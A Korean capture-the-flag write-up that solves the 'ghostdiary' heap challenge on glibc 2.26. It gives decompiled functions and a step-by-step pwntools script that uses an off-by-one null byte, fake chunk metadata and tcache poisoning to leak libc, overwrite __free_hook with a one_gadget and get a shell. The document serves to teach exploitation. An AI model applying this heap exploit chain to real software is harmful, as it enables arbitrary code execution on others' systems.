tcache poisoning 취약점 실습을 위해, 끝난지 좀 지난 대회이지만 문제파일을 받아서 풀었다.
해당 문제는 glibc-2.26
을 로드하여 사용하고 있다.
라이브러리와 관련된 취약점이므로 해당 라이브러리를 사용하는 환경에서 실습해야 한다.
문제파일을 실행해보자.
노트 생성, 쓰기, 읽기, 노트 삭제가 가능한 프로그램이다.
IDA로 분석해보자.
__int64 addPage()
{
size_t size; // [sp+Ch] [bp-14h]@8
unsigned int i; // [sp+14h] [bp-Ch]@1
__int64 v3; // [sp+18h] [bp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
for ( i = 0; i <= 0x13 && *&g_pages[16 * i]; ++i )
;
if ( i == 20 )
{
puts("Buy new book");
}
else
{
puts("1. Write on one side?");
puts("2. Write on both sides?");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
printf("> ");
__isoc99_scanf("%d", &size + 4);
if ( HIDWORD(size) != 1 )
break;
printf("size: ", &size + 4);
__isoc99_scanf("%d", &size);
if ( size <= 240 )
goto LABEL_17;
puts("too big to fit in a page");
}
if ( HIDWORD(size) != 2 )
return *MK_FP(__FS__, 40LL) ^ v3;
printf("size: ", &size + 4);
__isoc99_scanf("%d", &size);
if ( size > 271 )
break;
puts("don't waste pages -_-");
}
if ( size <= 480 )
break;
puts("can you not write that much?");
}
LABEL_17:
*&g_pages[16 * i] = malloc(size);
if ( *&g_pages[16 * i] )
{
g_pageSizes[4 * i] = size;
printf("page #%d\n", i);
}
else
{
puts("oh noooooooo!! :(");
}
}
return *MK_FP(__FS__, 40LL) ^ v3;
}
한 면 노트인지 양면 노트인지 입력받고 쪽 수를 입력받는다. 면에 따라 가능한 쪽 사이즈가 다르다.
입력받은 사이즈로 malloc()
을 호출하고 전역 변수인 배열에 저장한다.
__int64 writePage()
{
unsigned int num_page; // [sp+4h] [bp-Ch]@1
__int64 v2; // [sp+8h] [bp-8h]@1
v2 = *MK_FP(__FS__, 40LL);
printf("Page: ");
__isoc99_scanf("%d", &num_page);
printf("Content: ", &num_page);
if ( num_page <= 0x13 && *&g_pages[16 * num_page] )
readData(*&g_pages[16 * num_page], g_pageSizes[4 * num_page]);
return *MK_FP(__FS__, 40LL) ^ v2;
}
데이터를 쓸 노트 번호를 입력받는데, 그 번호의 노트가 있는지 검사한다.
그리고 readData()
를 호출한다.
__int64 __fastcall readData(__int64 g_pages, int size)
{
int v2; // eax@7
char buf; // [sp+13h] [bp-Dh]@3
unsigned int i; // [sp+14h] [bp-Ch]@1
__int64 v6; // [sp+18h] [bp-8h]@1
v6 = *MK_FP(__FS__, 40LL);
i = 0;
if ( size )
{
while ( i != size )
{
if ( read(0, &buf, 1uLL) != 1 )
{
puts("read error");
exit(-1);
}
if ( buf == 10 )
break;
v2 = i++;
*(g_pages + v2) = buf;
}
*(i + g_pages) = 0;
}
return *MK_FP(__FS__, 40LL) ^ v6;
}
데이터를 쓰는 함수이다.
중요한 점은
*(i + g_pages) = 0;
위에서처럼 데이터를 모두 입력 후, 마지막에 널 값을 넣을 때 1바이트를 오버플로우한 위치이다.
off-by-one이 발생하는 것이다.
__int64 printPage()
{
unsigned int num_page; // [sp+4h] [bp-Ch]@1
__int64 canary; // [sp+8h] [bp-8h]@1
canary = *MK_FP(__FS__, 40LL);
printf("Page: ");
__isoc99_scanf("%d", &num_page);
printf("Content: ", &num_page);
if ( num_page <= 0x13 && *&g_pages[16 * num_page] )
puts(*&g_pages[16 * num_page]);
return *MK_FP(__FS__, 40LL) ^ canary;
}
데이터를 출력한다.
__int64 burnPage()
{
unsigned int num_page; // [sp+4h] [bp-Ch]@1
__int64 v2; // [sp+8h] [bp-8h]@1
v2 = *MK_FP(__FS__, 40LL);
printf("Page: ");
__isoc99_scanf("%d", &num_page);
if ( num_page <= 0x13 && *&g_pages[16 * num_page] )
{
free(*&g_pages[16 * num_page]);
*&g_pages[16 * num_page] = 0LL;
}
return *MK_FP(__FS__, 40LL) ^ v2;
}
입력받은 번호의 노트를 free시킨다.
포인터도 널로 초기화시키므로 uaf나, double free bug가 불가능하다.
glibc-2.26
부터는 tcache bin을 사용한다.
이 문제에서 익스플로잇을 위해 알아야 하는 특징은 다음과 같다.
1.tcache bin에 가장 우선적으로 free, alloc되며
2.bin의 최대 개수가 7이고
3.tcache bin의 자리가 없을 경우 unsorted bin 등 다른 bin에 저장된다.
tcache bin은 fastbin과 같아서, libc 주소를 확인할 수 없다.
먼저 tcache bin을 채우는데 사용할 청크를 할당한다.
def fillTcacheAlloc(size):
for i in range(7):
list_free.append(addNote(size))
def fillTcacheFree():
for x in list_free:
burnNote(x)
fillTcacheAlloc(0x128)
fillTcacheAlloc(0xf0)
그리고 leak에 사용될 청크 세 개를 할당한다.
idx_A = addNote(0x128)
writeNote(idx_A, 'A'*0x120+p64(0x120))
idx_B = addNote(0x118)
writeNote(idx_B, 'B'*0x118)
idx_C = addNote(0x118)
writeNote(idx_C,'C'*0xf8)
그리고 tcache bin을 채운다.
fillTcacheFree()
이제 청크 A를 free하여 unsorted bin에 저장되도록 만든다.
#free A
burnNote(idx_A)
그럼 A의 위치에 fd
, bk
인 libc 주소가 저장될 것이다.
이것을 B로 옮겨 출력해야 한다.
B를 오버플로우시켜 C의 inuse
를 0으로 바꾸고 prev_size
도 A+B만큼 변경한다. B를 free된 것처럼 속이는 것이다.
#overflow B to set inuse flag of C
writeNote(idx_B, 'B'*0x110+p64(0x120*2+0x10))
그리고 C를 free시키면 되는데, C의 사이즈가 오버플로우로 인해 0x120에서 0x100으로 사이즈가 변경된 상태이다. C의 사이즈가 줄어들었으므로 next 청크의 위치도 변경되야 한다.
이것을 임의로 C의 값을 수정하여, C[0x100] 위치에 next 청크의 size의 값을 입력한다.
size는 C의 남은 크기값인 0x120 - 0x100 = 0x21(1 is inuse bit)이다.
그 후 C를 free한다.
#insert fake chunk into C
writeNote(idx_C, 'C'*(0xf8)+p64(0x110-0xf8-8+1+0x10))
burnNote(idx_C)
A,B,C는 이제 병합되었다.
이제 A에 위치한 fd
,bk
를 B로 이동시켜야 한다.
A를 다시 할당(idx_D
)하는데, unsorted bin에서 청크를 받아야 하므로 tcache bin을 비운 후에 할당한다.
fillTcacheAlloc(0x128) #empty tcache of 0x128
idx_D = addNote(0x128)
writeNote(idx_D, 'D'*0x128)
이제 B를 출력하면 libc의 주소를 얻을 수 있다.
addr_bin = u64(printNote(idx_B))
__free_hook
을 이용하여 one gadget을 실행시키자.
필요한 주소값을 구한다.
temp_base = 0x00007ffff79e4000 //temporary value
offset_bin = addr_bin - temp_base
libc_base = addr_bin - offset_bin
log.info('libc: ' + hex(libc_base))
elf = ELF('ghostdiary')
libc = elf.libc
offset_malloc_hook = libc.symbols['__malloc_hook']
offset_free_hook = libc.symbols['__free_hook']
log.info('mallloc_hook: '+hex(offset_malloc_hook))
log.info('free_hook: '+hex(offset_free_hook))
그리고 이제 추가로 malloc()
하면 청크 B의 위치에 할당된다.
idx_dummyBtoC = addNote(0x30)
이렇게 해주는 이유는 double linked list인 unsorted bin의 fd
, bk
를 이용해 익스플로잇 할 수 없기 때문이다.
기존에 있던 fd
, bk
는 또다시 밀려났고 청크 B 위치에 또하나의 0x30 크기인 tcache bin 청크가 생겼다.
burnNote(idx_B)
이제 청크 B 위치의 청크 두 개중 하나를 free시키면, 그 위치의 첫번째 8바이트는 fd
를 나타낸다.
나머지 하나의 청크가 alloc 상태이므로 이 값을 조작할 수 있다.
__free_hook
주소로 변경시킨다.
addr_malloc_hook = libc_base + offset_malloc_hook
addr_free_hook = libc_base + offset_free_hook
writeNote(idx_dummyBtoC, p64(addr_free_hook)+'z'*0x28)
이제 0x30의 tcache bin은 다음의 상태일 것이다.
__free_hook
에 청크를 할당받기 위해 2번 malloc()
한다.
addNote(0x30)
idx_overwrite = addNote(0x30)
idx_overwrite
의 노트는 __free_hook
위치에 할당되었을 것이다.
oneshot의 주소를 계산하여 idx_overwrite
에 데이터를 입력하면 __free_hook
이 조작된다.
offset_oneshot = 0x4f322
'''
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
addr_oneshot = libc_base + offset_oneshot
writeNote(idx_overwrite, p64(addr_oneshot))
그리고 free()
를 호출하면 __free_hook
에 저장된 oneshot 가젯이 실행되면서 쉘을 획득할 수 있다.
burnNote(0)
p.interactive()